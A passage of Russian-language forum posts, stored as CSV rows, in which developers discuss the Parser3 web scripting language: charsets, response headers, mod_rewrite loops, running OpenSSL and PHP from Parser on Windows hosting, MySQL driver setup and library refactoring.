3. @constructor[] может запросто превратиться в @constructor[][потребовавшаяся_локальная_переменная] (и наоборот) и это потребует просмотра и изменения кода конструктора и добавление префикса $self определяемым переменным класса. т.е. лишь по присутствию описания локальных переменных переключать поведение не стоит (хотя по какому-нить [local] в принципе можно, только в данном случае слово 'local' не отражает сути происходящего, но ведь есть ещё и 'global', которым можно явно включать глобальность определения переменных в методе при включенной локальности в классе %-) )\
\
4. сейчас мне не ясно, как будет работать такое:\
[code]@constructor[][i]\
^declare_vars[]\
\
@declare_vars[]\
$i(1)[/code]"
"57724","1. есть аж 3 способа задать кодировки при работе с sql: ?charset=..., ?ClientCharset=... и ^void:sql{SET NAMES=...} (правда первый и третий есть суть одно и тоже)\
\
2. ручками указать что во что перекодировать вы с парсером не можете. при нормальных условиях парсер это делает сам: если вы указали $response:charset[utf-8] то парсер будет выдавать ваши html формы в utf и перекодировать приходящие данные из utf. когда вы загружаете данные с внешнего сайта вы можете указать парсеру чтобы он все перекодировал (если не скажете он перекодирует сам посмотрев на выданный content-type). если же внешний, неподвластный вам сайт шлет вам данные в неродной для вас кодировке, то хорошо сделать вы ничего не можете, даже если сегодня знаете кодировку, в которой работает тот сайт (а завтра ведь он может начать слать в unicode, а не utf-8). тем не менее что-то предпринять можете: создать отдельный документ-обработчик приходящих даных и указать у него нужный $response:charset\
\
3. невозможно. вы должны нп этапе загрузки данных позаботиться о том чтобы все было в одной кодировке (если получаете даные из разных источников). при работе с внешними источниками парсер в большинстве случаев сделает это сам. если вы на своем сервере храните разные документы в разных кодировках - увы, облом. парсер не позволяет разводить бардак.\
\
4, 5. согласно доке $.charset[] в mail:send включает перекодирование. если нужно просто выдать заголовок - $.content-type[...] (тоже есть в доке)"
"57725","Спасибо, ручное прописывание content-type помогло. \
Да, ответы на мои вопросы есть и в документации, но она довольно бестолково организована и плохо написана, на мой взгляд (но это чистый субьективизм, а не наезд, потому что я все сравниваю с ActiveState-овской докой по ActivePerl и ActivePython), и человеку, видящему парсер в первый раз в жизни легче задать вопрос на форуме. Например, элементарно, я хочу объявить переменную со строковым значением. Открываем раздел \"Переменные\", находим, как присваивать строковые значения, присваиваем:\
$.content-type[text/plain; charset=utf-8]\
и ...упс...почему-то облом. Лог дает:\
time-test.html(157:58): syntax error, unexpected ';', expecting STRING or '$' or '^' [parser.compile]\
Это мне не говорит ровно ничего. Что такое \"доллар\" и \"крышечка\" в контексте Парсера, я не знаю, почему он ожидает STRING, $ или ^ вместо точки с запятой, почему не нравится точка с запятой, понятия не имею. В доке, да, это есть (в разделе \"Строковые литералы\"). Но не найти, ссылки нет на этот топик! Найти можно только полным прочёсыванием всего хелпа. Или раздел: \"Литералы в выражениях\". Там написано: \"Если строка содержит пробелы, то в выражении ее нужно заключать в кавычки или апострофы.\" И все. Почему же это не в разделе \"Строковые литералы\"?"
"57726","в каждом разделе документации описывать все невозможно.\
\
документация построена таким образом, что подразумевает, что сначала последует знакомство с языком с помощью изучения предлагаемых уроков.\
\
нежелание читать документацию, нежелание воспользоваться поиском по ней конечно же говорит о её плохой организации (поиском по документации можно найти пример как правильно задавать content-type).\
\
однако конструктивные предложения преветствуются, и мы будем рады увидеть пример того, как это должно быть организовано (пожалуйста, приведите ссылку на документации, желательно достаточно большие и известные, в которых отсутствуют упомянутые вами недостатки). [updated: когда читал сообщение в нем не было про ActivePerl & Co, посмотрю]\
\
P.S. почему в разделе строковые литералы? ну... а разве добавляемый вами в код символ ';' не является строковым литералом?\
\
P.P.S. давайте вы не будете тыкать пальцем в произвольное мето документации и выдвигать претензию, что что-то должно быть с вашей точки зрения в другом месте. ознакомьтесь со всем её содержимым, возможно многое станет на свои места и появится желание предложить что либо более конструктивное, например: \"считаю что в документации на странице X строку Y следует заменить на Z\" и т.п."
"57727","Не могли бы вы поделиться скомпилированным файлом, и путями на которые он настроен?\
У меня не получается так же как и у вас на gcc 4+, а поставить 3+ не могу, нельзя"
"57728","а то неспортивно как-то удалять файлы Перлом. С графикой Парсер не работает - юзаем Перл. Файлы удаляет (или не удаляет) - юзаем Перл. Перспектива?"
"57729","Михаил! Прошу прощения за излишнюю грубость. Не хотел никого обидеть. Конечно, легче всего охаять, не предложив конструктива.\
Моей изначальной задачей было быстро разобраться в скриптах на Парсере, написанных другим человеком, при том, что я Парсер в глаза никогда не видел.\
Документацию я рассматривал как справочник, рассчитывая на то, что зайдя в соответствующий раздел, найду там исчерпывающую и релевантную информацию. В \"Уроки\" - не заглядывал. \"Поиск\" - честно говорю, нашел только после того, как Вы написали о том, что он есть. Ввел там ключевое слово \"content-type\" - получил ссылку на раздел \"send. Отправка сообщения по электронной почте\". Но никакого примера использования content-type там нет, равно как нет и примеров во многих местах, где они нужны (чтобы не быть голословным, пришлю как-нибудь, когда будет время, весь список)."
"57730","[quot]В \"Уроки\" - не заглядывал.[/quot]\
\
хм. представьте человека, в глаза не видящего Perl, пошедшего в доку ActivePerl и проигнорировавшего ссылку \"perlintro           Perl introduction for beginners\". мне кажется долго он будет искать то, что его интересует...\
\
открыв доку по парсеру в левом фрейме сразу после уроков видим подраздел \"Конструкции языка Parser3\". вы действительно считаете что не ознакомившись с базовыми понятиями стОит начинать вносить правки?\
\
\
к несчастью поиск далеко не всегда нужную ссылку выводит на первом или втором месте.\
\
тем не менее в результатах поиска в частности есть такие ссылки, где есть примеры задания $.content-type:\
[url=\"/docs/lang/charsets.htm\"]Кодировки[/url] (6 ссылка)\
[url=\"/docs/lang/exceptionunhandled.htm\"]@unhandled_exception. Вывод необработанных ошибок[/url] (9 ссылка)\
[url=\"/docs/lang/parserconfig.htm\"]Конфигурационный файл[/url] (10 ссылка)\
\
P.S. предлагаю до появления конструктива завязать с препирательствами :)"
"57733","Как сказать Парсеру, чтобы не убирал лишние пробелы, мне нужно вывести кусок текста внутри <pre>.\
untaint[as-is]{} не помогает"
"57735","После обнесения ссылками $days.$week_day в коде if цвет чисел в календаре становится одинаковым (и будни и выходные одного цвета), т. к. они все становятся ссылками.\
Отсюда вопрос: как сделать, чтобы цвет выходных как был красным, так и остался после обнесения ссылками?\
\
^if($days.$week_day==$now.day){ \
            <td align=\"center\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b>$days.$week_day</b> \
               </font> \
            </td> \
            }{          \
            <td align=\"center\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>\
               </font> \
            </td> \
            }"
"57737","Здесь такое не прокатит, т. к. это переменные с именем и ключом, а не статичный кусок кода HTML или CSS."
"57738","[code]\
<a href=\"/news/?day=$days.$week_day\">\
<font color=\"$calendar_locale.day_colors.$week_day\"> \
$days.$week_day\
</font> \
</a>\
[/code]"
"57739","Спасибо! Дошло! Извините, ступил.\
Буду внимательнее."
"57741","Понимаю, что офф, что мне бы следует обратиться в тематический форум, но других толковых форумов я не знаю, а целый день, убитый в яндексе и гугле просветил ненамного.\
\
Может кто из вас писал инэт-магазины,и возможно знает, что при трансфере данных между магазином и процессинговым центром используется подписывание данных сертификатами, дабы избежать их подделки. Делается это средствами OpenSSL. И в Perl, и в PHP есть API для работы с этой библиотекой.\
\
Раньше сайт, над которым я работаю, располагался на *nix-хостинге. Там все работало. По определенным причинам хостера пришлось сменить на нового, но у них система Win32. Теперь же, прежде чем обеспечить правильную, стабильную и безопасную работу сайта, мне прежде нужно протестировать его локально.\
\
И вот тут проблема. Не могу заставить работать OpenSSL у себя на машине. Отдельно, как приложение эта библиотека работает. Но на хостинге ее отдельно не поставят, да и прав на запуск левых программ не дадут. А вот под Perl, или PHP - не могу настроить. Убил весь день - продвижений ноль. И раньше я этого никогда не делал - так что опыта нет. Может кто настраивал OpenSSL под Perl или PHP? Поделитесь знаниями. Или подскажите, где прочитать толковые рекомендации по установке?"
"57744","а то вот скачал исходники - а они не хотят собираться...ошибки какие-то...хотя перл работает (\
\
Короче...расстроен..."
"57745","Зачем пытаться подключить OpenSSL к PHP или Perl, если можно взять консольный, простой, как апельсин, wget с вкомпиленным OpenSSL и для запросов к https:// использовать его?\
\
Wget для Windows весит пару-тройку сотен килобайт, внешних dependencies не имеет. Можно бросить в произвольную папку и пользоваться через file::exec"
"57746","по тарифному плану так, но вот сейчас попробовал запустить - запустился wget ). Только я не понял, как мне им пользоваться в моем случае? Встроенный SSL в него дает возможность секьюрного скачивания. Как он будет проверять мои сертификаты, подписывать мои данные?"
"57747","реализация в parser стирания пустых каталогов на деле не проверяет, пусты ли они (был расчёт, что если не пусты, OS не даст сделать rmdir).\
признаю, это не самый супер, но работает в 99.9% случаев.\
вы попали под 0.1%.\
\
выход, кажется, прозвучал. я попробовал вот так, работает. parser не стёр папку.\
\
сделайте так:\
Start|Run... cmd\
[code]\
C:\\Documents and Settings\\User\\My Documents> attrib +r C:\\Web\\other\
C:\\Documents and Settings\\User\\My Documents>rmdir C:\\Web\\other\
Access is denied.\
[/code]\
тогда parser не сможет понапрасну стереть ценный link.\
\
замечание: тот факт, что parser'у доступно стирание такой папки означает, что на хостинге с правами не очень хорошо.\
\
вам имеет смысл опасаться, что в вашу папку заберётся враг и утащит оттуда секреты."
"57748","да, скоро и 2*2 сумеем!\
\
сегодня получал очередное удовольствие от oracle:\
[code]\
// отдельное приложение через http://www.SQLAPI.com\
select 2*3 from dual\
[/code]\
сработало.\
\
перешёл дальше к вызову хранимой:\
[code]\
begin\
test(PAF=>:PAF);\
end;\
[/code]\
выдаёт ошибку\
[code]\
ORA-06552: PL/SQL: Compilation unit analysis terminated\
ORA-06553: PLS-553: character set name is not recognized \
[/code]\
дело оказалось... в неустановленном ORACLE_HOME, из которого оракловый клиент упорно пытался считать nls/что-то-там."
"57749","если у вас сейчас получилось запустить wget.exe, то получится запустить и openssl.exe\
\
мы в Студии успешно делали цифровую подпись от транзакции для центра обработки пластиковых карточек.\
мы формировали подлежащее подписи сообщение,\
отдавали в openssl через file::exec[$.stdin] \
и благополучно забирали подписанное нашим private key из $file.text."
"57750","http://www.parser.ru/forum/?id=57552\
\
_глядя_ на текст вполне может быть непонятно, что наблюдаемый метод суть конструктор.\
\
ведь в качестве конструктора можно использовать любой метод объекта.\
\
чувствуете кривизну?"
"57751","мне нравится, поскольку параллельно Perl:\
[code]\
use strict;\
[/code]\
мы когда-то со smalex соображали, куда пристроить подобные на-один-класс переключалки, и придумали в @USE.\
начнём с одного переключателя, со временем захочется ещё что-то, и не придётся отдельную секцию делать.\
\
вносимое \"ограничение/несовместимость\" ничтожно и им можно пренебречь.\
про [] убедительно! согласен.\
\
может быть можно придумать\
[code]\
@USE\
ДругоеСлово\
[/code]\
и будет чем-то лучше. это важная, но мелочь.\
\
пробую:\
[code]\
@USE\
relax       << типа противоположно strict\
auto        << в C локальные переменные суть auto-переменные\
stack       << локальные переменные в стеке\
islands     << методы становятся островками с личными переменными\
method-vars << ---//---\
local-scope << ---//---\
locals      << для сравнения\
[/code]\
\
чувствую, пора делать!"
"57753","мне не нравится использование именно @USE для того, чтобы сделать что-то новое. @USE имеет уже устаканившееся, вполне определенное значение. @USE имеет аналог ^use[] (^use[relax] будет? почему? хотя можно сделать ^use[relax] для того, чтобы задавать поведение _методов_).\
\
начав использовать его как-то ещё мы во первых будем создавать дополнительные несовместимости (хотя они малы и ими действительно можно пренебречь) и, что хуже, логические непонятки. человек, прочитавший @USE locals будет вынужден внимательно прочитать про него всё, включая выделенные жирным шрифтом буквы, что если там написано такое-то и такое-то, то смысл меняется и понимать все надо иначе.\
\
сейчас мы подошли к добавлению новой вещи: возможности задания поведения класса|метода. считаю, что совсем не грех для такого дела добавить ещё _одну_ конструкцию, которую можно будет потом использовать и для других аналогичных целей.\
\
@MODE|BEHAVIOR|...\
local\
strict\
relax\
random\
surprise\
...\
\
P.S. возможно добавить новую @КОНСТРУКЦИЮ сложнее, чем сделать исключение в @USE, тогда конечно стоит пойти по простейшему пути."
"57756","продолжая аналогию: \
согласование т.з. это _.\
набросок модели это _.\
первые правильные результаты это _.\
версия 1.0, это _.\
первый баг это _.\
сотый баг это _.\
..."
"57757","не факт что OpenSSL есть у хостера, и что они дадут мне путь к нему... лучше бы библиотеку под ПХП или Перл."
"57759","Пытаюсь явно указать что надо выдать результат в УТФ\
[code]$response:expires[$headers.expires]\
$response:charset[$headers.charset]\
$response:content-type[\
	$.value[$headers.contenttype]\
	$.charset[$headers.charset]\
][/code]\
на локальной машине вижу:\
Date: Fri, 22 Dec 2006 08:45:06 GMT\
Server: Apache/2.2.2 (Win32)\
Expires: Fri, 22 Dec 2006 08:45:06 GMT\
Content-Length: 1856\
Keep-Alive: timeout=5, max=100\
Connection: Keep-Alive\
Content-Type: text/html; charset=UTF-8; charset=UTF-8\
\
на сервере:\
Date: Fri, 22 Dec 2006 08:47:17 GMT\
Server: Apache/1.3.34 (Unix) rus/PL30.22\
Expires: Fri, 22 Dec 2006 08:47:17 GMT\
Content-Length: 2843\
Keep-Alive: timeout=15, max=200\
Connection: Keep-Alive\
Content-Type: text/html; charset=windows-1251\
Vary: accept-charset"
"57761","но слабую.\
\
Лучше понять, что это конструктор по косвенным признакам (непонятно в одном случает из сотни), чем городить лишнюю путаницу во всех методах.\
\
Послостью согласен с Мишиным постом (http://www.parser.ru/forum/?id=57723).\
Переключатель, думаю, должен быть самое глубокое - на уровне класса, не глубже.\
\
А вот с @USE, ситуация не нравится...\
Выходит, там будут присутствовать и имена файлов, и команды, что некрасиво.\
Может, действительно, какой-нить @MODE для этого, чтобы там были все опции?"
"57762","Здравствуйте.\
\
В конфиге определена обработка страниц Parser'ом:\
AddHandler parsed-html htm\
AddHandler cgi-script .exe\
Action parsed-html /parser/parser.exe\
\
это работает.\
\
Но при попытке подкючения правил mod_rewrite:\
RewriteRule (.*)  main.htm?do=$1 [QSA,L]\
получаю 500'ую ошибку, как их вместе подружить?"
"57763","http://curl.haxx.se/docs/manpage.html\
\
curl это как wget только другой немного, тоже поддерживает ssl и сертификаты умеет использовать. Есть версии для win32."
"57764","Получается зацикливание, поэтому ошибка и вылезает.\
Надо примерно так:\
# чтобы не делать редирект, когда вызывается ГЛАВНЫЙ файл\
RewriteRule ^main.htm - [L]\
# чтобы не делать редирект, когда у сервера просят картинки,\
# java-скрипты и таблицы стилей (остальные расширения по вкусу)\
RewriteRule \\.(bmp|gif|jpg|png|js|css)$ - [L]\
# все остальное отправляем на ГЛАВНЫЙ файл\
RewriteRule (.*) /main.htm?do=$1 [L,QSA]"
"57765","Ага, спасибо, я уже тоже сам разобрался, подключив error_log (Request exceeded the limit of 10 internal redirects ...)."
"57766","Не знаю, как у других, но у меня под Виндой такая штука не прокатывала: #!c:\\WebServerMessager\\usr\\local\\php\\php.exe\
Ни с пхп, ни с перлом.\
\
А вот под никсами такая штука должна прокатить (с перловыми скриптами точно прокатывает):\
#!/usr/local/php/php\
\
Только для этого надо права на выполнение выставить.\
\
У меня похожим образом работает AWStats. Сам скрипт написан на перле, но вызывается парсером:\
$stat_file[^file::cgi[stat.pl]]\
$stat_file.text\
\
В .htaccess прописано:\
RewriteCond %{REQUEST_URI} !^/stat/(index\\.html)?$\
RewriteRule (.*) /404/ [L,QSA]\
Таким образом закрывается доступ к скрипту, но все параметры передаются элементарно через GET."
"57767","Точнее вот что происходило:\
[code]...\
rewrite 'parser/parser3.cgi/main.htm' -> 'main.htm?do=parser/parser3.cgi/main.htm'\
...[/code]\
\
помогло вот что:\
[code]RewriteCond %{REQUEST_URI} !^/parser[/code]"
"57769","вообще-то работает.\
если что-то не работает, сообщи подробнее, Миш?"
"57770","я так понимаю, что бинарный файл openssl самодостаточен.\
найдите его под вашу os, выложите и будет счастье.\
\
уверяю, это куда проще, чем просить добавить XS библиотеку для perl."
"57772","так понимаю, можно начинать делать."
"57773","иначе не работает. На Win-системы при инсталляции OpenSSL пишутся какие-то библиотеки в system32. Пробовал скопировать openssl.exe на сервер и запустить. Локально запуск проги аккуратненько возвращает рандомный хеш-ключ. На хостинге не возвращает ничего. Даже ошибок.\
\
Хотя вот сейчас удалил у себя OpenSSL (uninstall) - оставив копию экзешника - и он работает. А на сервере не хочет."
"57774","скопируйте все .dll из openssl каталога на хостинг, заработает."
"57775","он у нас ведь тоже Миша.."
"57776","Привет коллегам! Немного оффтопик, но все-же относящийся к делу (да и \"пятницо\", типа).\
Наверное многие, замученные онлайновыми WYSIWYG редакторами искали альтерантиву. Недавно нашел WYM (What You Mean) - оперсорсный визуальный онлайн-редактор с фокусом на структуру а не на представление. Если его до ума довести (или скрестит с Реформатором Студии) - то может вполне полезняком будет!\
\
Может кому пригодится! \
(сейчас WYM обновился до 0.2.1 - те еще глюковат, но уже что-то) Ссылка - http://www.wymeditor.org/en/\
\
PS модераторам > если сочтете за рекламу - то трите... хотя полезная штука :-)"
"57777","и не работает. Может вы поделитесь вашей версией, которая работала у вас? А то беда прям. Не знаю что и делать. Хостер молчит.\
\
Думаю найти юникс-машину в нэте, написать 2 скрипта и через нэт делать проверку OpenSSL. Сама идея страшна. Помогите...\
\
Позже скопировал 3 дллки (libeay32.dll, libssl32.dll, ssleay32.dll), положил их рядом с прогой openssl.exe - и заработало)! Наконец-то! Достаточно этих трех дллок и самой проги - все остальное не нужно."
"57779","может FCK и рулит - спорить не буду. \
Но это немного другой класс - FCK - это визивиг, которому на семантику положить (как и МС Ворду). А WYM - это What You See Is What You Mean,то есть он заточен под показ структуры.\
Когда-то готов был на wiki-разметку перейти из-за граблей визивига..."
"57783","В процессе рефакторинга нашел несколько вызовов одного метода, использующего определенный класс. При вызове метода класс подключается через ^use[className.p].\
\
Вопрос вот какой - при каждом вызове этого метода Парсер каждый раз будет подключать мне этот класс загружая его файл, или же он делает это один раз, и далее просто пользует подгруженный экземпляр?\
\
Просто метод этот используется слишком редко, чтобы подключить его в @USE корневого auto.p, но есть несколько страниц, где данный метод вызывается больше 10 раз. Стоит ли его перенести в @USE, или пусть останется в ^use[]?"
"57784","Вопрос нубский но ответа я не нашел. Если я делаю сайт с помошью парсера и заливаю его на удаленный сервер, сайт будет работать без проблем? Или на сервере должна быть поддержка технологии парсер?"
"57785","прикольный вопрос) Так и хочется съязвить)\
\
Все зависит от требований вашего сайта. В большинстве случаев достаточно иметь разрешенные CGI - этого с головой хватит для написания сайта. Подробности в документации."
"57787","может и странно, но вот перенес класс из ^use[] в @USE - и страница грузится быстрее. Или это самовнушение?"
"57788","Нет я не об этом. Сайт то я напишу. Просто есть технология для написания блогов дак ее можно использовать только если хостинг ее поддерживает. \
\
Ну а тут насколько я понял такого не требуется. Просто нужно чтоб хостинг CGI держал и все."
"57789","^image::measure[] почему-то не может разобрать путь вида /foo/bar/../001.gif\
\
Путь формируется автоматически: складывается из fullpath текущего объекта и атрибута src тэга image. Неужели придётся удалять точки вручную?\
\
^file:fullpath[] не помог."
"57790","в Parser/3.2.1 (compiled on i686-pc-linux-gnu) РАБОТАЕТ."
"57792","Хотел сделать как в мишином engine: все картинки класть в аналогичную папку на диске. Однако создавать каталог для каждой публикации (коих очень много) не хотелось, поэтому решил складывать их в папку рубрики, а в xml писать src='../123.jpg'. В итоге получался путь /foo/bar/issue123/../123.jpg, где каталог issue123, понятно, не существовал. Поэтому measure и спотыкался.\
\
Буду думать, как решить проблему иначе и без костылей."
"57793","Год назад, когда я это пробовал сделать, я еще слабо в этом шарил. А потом как-то руки не доходили, я ж все под линем делаю, а там все работает, поэтому и не парюсь с виндой.\
\
P.S. ради интереса проверил, запустил тот же скрипт под виндами, прописал ему #!c:\\perl\\bin\\perl.exe — все работает."
"57796","у меня ^image::measure[/i/exif/zigi/../4.jpg] - работает (каталога zigi не существует)"
"57798","[quot]\
насущной проблемы, чтобы кровь-из-носу менять, не вижу\
[/quot]\
\
- ты суслика видишь?\
- нет\
- вот и я не вижу. а он есть. (c) кино\
\
проблема с логикой.\
[code]\
...\
# тут переменная $var не определена\
^if(def $var){def}{undef}\
\
$var(false)\
# а тут она всё таки определена, ибо строкой выше стоит явное её определение.\
^if(def $var){def}{undef}\
\
# у нас есть числовsе значение переменных, которым мы можем воспользоваться чтобы узнать \
# что у нас в bool - true|false (которые уже прекрасно используются для table, hash):\
^if($var){true}{false}, \
[/code]\
\
подобные \"ньюансы\" - отстой. считаю что этот ньюанс нужно придушить, и чем раньше это сделать тем меньше будет проблем при этом изменении :)"
"57799","папки foo и bar существуют, fake - нет:\
\
[code]^if(-f '/foo/../bar/123.gif'){exist;not exist}<br />\
^if(-f '/fake/../bar/123.gif'){exist;not exist}<br />\
$env:PARSER_VERSION[/code]\
\
результат:\
\
[code]exist\
not exist\
3.2.1sp2 (compiled on i386-unknown-freebsd4.10)[/code]"
"57800","нужно запустить из Парсера внешний ПХП-скрипт.\
Вот тестовый скрипт\
[code]#!d:\\web\\services\\php-4\\php.exe\
<?php\
echo getcwd(), \"\\n\";\
?>[/code]\
Вот метод вызова скрипта\
[code]@main[]\
$hResult[^file::cgi[/classes/test.php]]\
$hResult.status\
$hResult.stderr\
$hResult.text[/code]\
и вот результат вызова Парсерного метода\
[code]0 &#65279;@main[] $hResult[^file::cgi[/classes/test.php]] $hResult.status $hResult.stderr $hResult.text [/code]\
\
После обработки ПХП не возвращает результат Парсеру, и сразу серверу. Почему так?"
"57801","Хостинг на РБЦ FreeBSD 5.5 установил парсер но как обычно:\
\
can't open the module [<no type>]\
\
Что можете посоветовать ?\
\
В службу поддержки конечно написал, но как показывает практика помогут они врятли."
"57802","[quote]заодно пусть оценит вероятность проблем при этом изменении. [/quote]"
"57803","и чтобы вы приблизительно понимали, что делаете.\
по вашим вопросам пока этого не видно.\
поэтому, [i]когда[/i] будут ещё вопросы, пожалуйста, посмотрите ответы в FAQ и только после этого задавайте их."
"57804","вы не очистили.\
вот PHP и решил, что раз его запустили из веб-сервера, значит и делать надо не то, что вы думаете, а «что обычно».\
\
помню, это уже обсуждалось.\
попробуйте поубивать одну переменную за другой.\
[code]\
^file::exec[\
  $.SERVER_SOFTWARE[]\
  $.PATH_INFO[]\
...\
[/code]"
"57805","пересобрать [b]parser[/b] (а не драйвер) из исходников с дополнительным configure ключиком:\
[code]\
./configure ... --with-dynamic-stdcpp\
[/code]\
\
кому-то это помогло. может и вам поможет?\
просто поправьте build-all скрипт и запустите его, он очень постарается всё сам собрать."
"57806","у меня после переноса на другой сервак (как они сказали обновления оборудования) легли старые сайты. Техподдержка в РБК невменяемая (ночная хоть отвечает иногда на письма, а дневная как правило или не удосуживается или через 4-5 дней!) \
После граблеразгребания поставил Parser/3.1.3 и в конфиг auto.p прописал ПОЛНЫЙ путь до [b]клиента[/b] mysql (у меня он оказался таким): /usr/local/lib/mysql/libmysqlclient.so \
ну и перед ним соответственно до драйвера libparsermysql.so\
\
Теперь работает как и раньще - только надо будет попробовать проапгрейдится до актуальных версий парсера... только пока руки не доходят."
"57808","Кинул в CGI скрипт парсера. Отредактировал auto.p и все.\
Единственное, я у них всегда брал дорогой хостинг. Тот что зовется \"тяжелый\" по моему. И действительно пути до клиента там хрен подберешь. Но в моем случае их можно было по ssh найти легко.\
\
А вообще не советую работать с Хайвеем. Меня лично в поддержке посылали точно по адресу. Плюс могут отрубить сайт на пару дней ради развлекухи.\
Это не только у меня было.\
Ладно это эмоции...."
"57811","попробовал предложеные\
[code]$hResult[^file::exec[/classes/test.php;\
$.SERVER_SOFTWARE[]\
$.PATH_INFO[]\
$.SERVER_NAME[]\
$.GATEWAY_INTERFACE[]\
$.REQUEST_METHOD[]\
]][/code]\
результат тот же. Может еще какие нужно обнулить?"
"57812","информация для тех кто его использует и планирует обновляться:\
\
- будут три файла с одноименными статическими классами: op.p, doc.p и node.p (если кому-то обламываю кайф из-за того что у него есть свои классы с такими именами - срочно свистите, пока ещё я могу их переименовать)\
\
- для обратной совместимости будет файл lib_comp.p (возможно 2 файла: lib_comp.p + lib_comp_full.p), в котором объявлена пачка операторов со старыми именами (включая те, что сейчас упоминаются в обратной совместимости), но по факту будут вызываться методы методы вышеупомянутых классов. кроме того в этом файле будут продублированы некоторые методы (невозможно сделать простую обертку, т.к. из метода идет обращение к $caller....)\
\
- в скором все мои классы, требующие чего-либо, что раньше было в lib.p, будут использовать вышеупомянутые классы (т.е. не будут требовать lib_comp.p)\
\
- часть методов из lib.p, более не используемых мной, не войдет в op.p, вот их список: color, include(?), image, imageSize, getIconPathByExt, getIconByExt, getIconByFile, run_time (переедет в класс erusage) + все методы, которые сейчас описаны в секции обратной совместимости (или полная древность типа @remove, или полная ненужность типа @ifdef, или методы с неиспользуемой мной более name convention вида @file_size)\
\
- старый файл останется в примерах, но обновляться больше не будет.\
\
основная причина: накопилось очень много неиспользуемого балласта, таскаемого от проекта к проекту. от него пришла пора избавиться (текущий lib.p ~ 17 KБ, сумма трёх новых файлов ~ 10 КБ, сумма трёх новых + файл обратной совместимости ~ 20 КБ)."
"57813","Есть предложение: поправить [b]is_email[/b], чтобы адрес mail---address@smb.ru считался корректным\
\
Спецификацию я не читал, но такой адрес можно создать на многих почтовых серверах."
"57814","Передо мной стоит следующая задача: Необходимо представить книги и ее оглавление в виде HTML и каждую главу (раздел или параграф) книги в виде отдельной HTML страницы.\
\
Решение я вижу следующее:\
1.Необходимо создать таблицу books со следующими полями\
	•book_id (int, NOT NULL, auto_increment, primary key) – идентификатор (номер) книги\
	•title (varchar(255), NOT NULL) – заголовок книги\
	•annotation (text) – аннотация к книге\
	•dt_published (date) – Дата публикации на сайте\
	•is_published (tinyint, NOT NULL)\
	•	…возможно еще одно поле? (см. ниже)\
2.	Хранить содержание книги в XML\
\
Из-за второго пункта возникают вопросы: \
1.	Где хранить содержание книги в виде XML в БД (еще одно поле в books?) или же в файле?\
2.	Если хранить все содержание книги в XML, то как показать каждую главу (раздел или параграф) в виде отдельных HTML страниц со своим URI, чтобы можно было сделать оглавление? Это делается для того, чтобы уменьшить размер HTML страницы.\
\
Я реализовал следующее решение. Создал таблицу наподобие t_sections, только там появилось дополнительное поле book_id, и с помощью tree.p создается дерево книги. Но что-то мне такая конструкция не нравится. Есть в этом решение, судя по моей интуции, некоторые проблемы, которые могут возникнуть когда книг будет очень много.\
\
Примечание: Для авторов книг создана отдельная таблица."
"57815","...когда Вы столкнетесь с нестандартно оформленным содержанием.\
\
Я завёл для этого отдельное text-поле contents, где храню содержание книги со ссылками на её части (issues), пронумерованные по порядку:\
\
[code]<list marker='Часть' format='1.'>\
<item>\
	<title>Предательство</title>\
	<list type='bullet'>\
	<item>\
		<title>Конец романтической сказки</title>\
		<issue no='0'/>\
	</item>\
	<item>\
		<title>Кто меня родил такого?</title>\
		<issue no='1'/>\
	</item>\
	...\
	</list>\
</item>\
...\
</list>\
[/code]"
"57816","поищите на форуме готовый собранный под вашу операционную систему.\
мы собираем только под некоторые.\
и мы собираем без этого ключика, т.к. это даёт более переносимые бинарники (а сколько-то исключений есть из любого правила)."
"57817","в полезных ссылках есть."
"57818","[url=\"http://www.fictionbook.org/index.php/FictionBook_2.0_-_%D0%BA%D1%80%D0%B0%D1%82%D0%BA%D0%B0%D1%8F_%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F\"]О формате fb2[/url]"
"57819","и на основании их выводить данные локального каталога, искать по данным в таком формате, создавать на основании таких данных например алфавитный список авторов и т.п.?\
\
P.S. по моему приведенная ссылка немного из другой оперы."
"57820","ок, [url=\"/_/check_email.html\"]внес изменения[/url] в regexp\
\
P.S. на parser.ru старый lib.p уже не подключается, правда работаем пока в режиме совместимости %-). если обнаружаться баги - звиняйте."
"57821","[code]SELECT\
	(Select\
			Sum(1)\
	 From\
	 		`humors` p\
	 Where\
	 		p.id<=p1.id) AS num_page,\
	p1.id AS id\
FROM\
	`humors` AS p1\
where\
	(Select\
			Sum(1)\
	 From\
	 		`humors` p\
	 Where\
	 		p.id<=p1.id) \
ORDER BY p1.id;[/code]\
Смысл - пронумеровать строки...\
\
Это для простоты, я такой запрос поставил, на самом деле, мне нужно вывести каждую 30-ую строку и пронумеровать ИХ! Для этого, ставлю вот такой запрос:\
[code]\
SELECT\
	CEILING((Select\
			Sum(1)\
	 From\
	 		`humors` p\
	 Where\
	 		p.id<=p1.id)/30) AS num_page,\
	p1.id AS id\
FROM\
	`humors` AS p1\
where\
	(Select\
			Sum(1)\
	 From\
	 		`humors` p\
	 Where\
	 		p.id<=p1.id) mod 30=1 \
ORDER BY p1.id;[/code]\
\
Уверен, что можно проще и более \"лёгким\" запросом. Есть предложения?"
"57822","Хотя, почему бы и нет...\
\
Еще бы удалялку директорий (с рекурсивной обработкой поддиректорий и удалением всех файлов).\
\
Спасибо."
"57823","удалялки директорий у меня не будет, ибо в идеологии парсера не оставлять пустых директорий которые нужно убирать, а если кто-то пишет файл менеджер на парсере - то сам напишет метод удаления со всеми подказалогами из 5 строк.\
\
хотя в общем и методам fileCopy с dirCopy тут не место, но... я их использую в imp1, так что извините %-)"
"57824","Вот конкретный пример, где я считаю оправданным удаление директории:\
\
Пользователь загружает файл через форму (сохраняется в директории пользователя), скрипт уменьшает его, делает превью еще что-то... В общем случае другой скрипт понятия не имеет, какие файлы лежат в директории данного пользователя. Такой подход мне кажется удобным, т.к. в Парсере есть прекрасный метод [b]^file:find[][/b] (вполне соответствует идеологии), да и [b]-f[/b] в конце концов.\
И вот мне нужно этого пользователя удалить. Чтобы удалить директорию средствами Парсера мне придется или регистрировать все загруженные файлы (например, в базе), а потом перебором удалять или (тупо) удалять всю директорию.\
\
Написать рекурсивную функцию мне не трудно (тем более, уже написал). Мне интересно, в чем я не прав. Получается, мой подход противоречит идеологии..."
